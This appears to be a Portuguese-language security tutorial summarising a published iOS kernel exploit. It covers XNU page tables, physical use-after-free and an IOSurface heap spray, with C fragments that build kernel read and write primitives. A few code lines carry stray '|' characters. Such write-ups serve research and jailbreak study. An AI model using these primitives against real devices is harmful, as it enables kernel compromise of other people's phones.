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# iOS Exploiting
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## Uso físico após a liberação
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Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre o exploit usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
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### Gerenciamento de memória no XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
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O **espaço de endereços de memória virtual** para processos de usuário no iOS varia de **0x0 a 0x8000000000**. No entanto, esses endereços não mapeiam diretamente para a memória física. Em vez disso, o **kernel** usa **tabelas de páginas** para traduzir endereços virtuais em **endereços físicos** reais.
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#### Níveis de Tabelas de Páginas no iOS
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As tabelas de páginas são organizadas hierarquicamente em três níveis:
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1. **Tabela de Páginas L1 (Nível 1)**:
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* Cada entrada aqui representa uma grande faixa de memória virtual.
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* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual.
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2. **Tabela de Páginas L2 (Nível 2)**:
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* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB).
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* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região por conta própria.
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3. **Tabela de Páginas L3 (Nível 3)**:
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* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**.
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* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário.
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#### Mapeamento de Memória Virtual para Física
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* **Mapeamento Direto (Mapeamento de Bloco)**:
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* Algumas entradas em uma tabela de páginas **mapeiam diretamente uma faixa de endereços virtuais** para uma faixa contígua de endereços físicos (como um atalho).
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* **Ponteiro para Tabela de Páginas Filha**:
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* Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2).
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#### Exemplo: Mapeando um Endereço Virtual
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Vamos supor que você tente acessar o endereço virtual **0x1000000000**:
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1. **Tabela L1**:
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* O kernel verifica a entrada da tabela de páginas L1 correspondente a este endereço virtual. Se tiver um **ponteiro para uma tabela de páginas L2**, ele vai para essa tabela L2.
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2. **Tabela L2**:
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* O kernel verifica a tabela de páginas L2 para um mapeamento mais detalhado. Se esta entrada apontar para uma **tabela de páginas L3**, ele prossegue para lá.
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3. **Tabela L3**:
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* O kernel consulta a entrada final L3, que aponta para o **endereço físico** da página de memória real.
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#### Exemplo de Mapeamento de Endereço
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Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então:
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* Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**.
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* Isso é um **mapeamento de bloco** no nível L2.
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Alternativamente, se a entrada L2 apontar para uma tabela L3:
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* Cada página de 4 KB na faixa de endereços virtuais **0x1000000000 -> 0x1002000000** seria mapeada por entradas individuais na tabela L3.
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### Uso físico após a liberação
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Um **uso físico após a liberação** (UAF) ocorre quando:
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1. Um processo **aloca** alguma memória como **legível e gravável**.
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2. As **tabelas de páginas** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar.
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3. O processo **desaloca** (libera) a memória.
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4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre.
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5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**.
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6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física.
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Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**.
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### Estratégia de Exploração: Heap Spray
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Como o atacante não pode controlar quais páginas específicas do kernel serão alocadas para a memória liberada, ele usa uma técnica chamada **heap spray**:
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1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel.
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2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação.
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3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada.
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4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever na memória do kernel**.
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Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
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### Processo Passo a Passo do Heap Spray
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1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico").
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2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada.
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3. **Ler/Escrever na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles:
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* Use um campo para **ler qualquer valor de 32 bits** na memória do kernel.
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* Use outro campo para **escrever valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável.
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Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde:
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```c
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void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
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if (*nClients >= 0x4000) return;
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for (int i = 0; i < nSurfaces; i++) {
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fast_create_args_t args;
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lock_result_t result;
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size_t size = IOSurfaceLockResultSize;
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args.address = 0;
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args.alloc_size = *nClients + 1;
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args.pixel_format = IOSURFACE_MAGIC;
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IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
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io_connect_t id = result.surface_id;
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(*clients)[*nClients] = id;
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*nClients = (*nClients) += 1;
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}
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}
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```
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Procure por **`IOSurface`** objetos em uma página física liberada:
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```c
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int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
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io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
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int nSurfaceIDs = 0;
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for (int i = 0; i < 0x400; i++) {
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spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
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for (int j = 0; j < nPages; j++) {
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uint64_t start = puafPages[j];
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uint64_t stop = start + (pages(1) / 16);
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for (uint64_t k = start; k < stop; k += 8) {
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if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
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info.object = k;
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info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
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if (self_task) *self_task = iosurface_get_receiver(k);
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goto sprayDone;
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}
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}
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}
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}
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sprayDone:
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for (int i = 0; i < nSurfaceIDs; i++) {
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if (surfaceIDs[i] == info.surface) continue;
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iosurface_release(client, surfaceIDs[i]);
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}
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free(surfaceIDs);
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return 0;
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}
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```
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### Conseguindo Leitura/Escrita no Kernel com IOSurface
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Após conseguir controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do espaço do usuário), podemos usá-lo para **operações arbitrárias de leitura e escrita no kernel**.
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**Campos Chave em IOSurface**
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O objeto IOSurface possui dois campos cruciais:
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1. **Ponteiro de Contagem de Uso**: Permite uma **leitura de 32 bits**.
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2. **Ponteiro de Timestamp Indexado**: Permite uma **escrita de 64 bits**.
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Ao sobrescrever esses ponteiros, redirecionamos eles para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita.
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#### Leitura de 32 Bits no Kernel
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Para realizar uma leitura:
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1. Sobrescreva o **ponteiro de contagem de uso** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes.
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2. Use o método `get_use_count` para ler o valor naquele endereço.
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```c
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uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
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uint64_t args[1] = {surfaceID};
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uint32_t size = 1;
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uint64_t out = 0;
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IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
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return (uint32_t)out;
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}
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uint32_t iosurface_kread32(uint64_t addr) {
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uint64_t orig = iosurface_get_use_count_pointer(info.object);
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iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
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uint32_t value = get_use_count(info.client, info.surface);
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iosurface_set_use_count_pointer(info.object, orig);
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return value;
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}
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```
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#### 64-Bit Kernel Write
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Para realizar uma escrita:
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1. Sobrescreva o **ponteiro de timestamp indexado** para o endereço alvo.
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2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits.
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```c
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void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
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uint64_t args[3] = {surfaceID, 0, value};
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IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
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|
}
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void iosurface_kwrite64(uint64_t addr, uint64_t value) {
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uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
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iosurface_set_indexed_timestamp_pointer(info.object, addr);
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set_indexed_timestamp(info.client, info.surface, value);
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|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
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}
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```
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#### Recapitulação do Fluxo de Exploit
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1. **Acionar Uso-Físico Após Liberação**: Páginas liberadas estão disponíveis para reutilização.
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2. **Spray Objetos IOSurface**: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel.
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3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla.
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4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface.
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Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).
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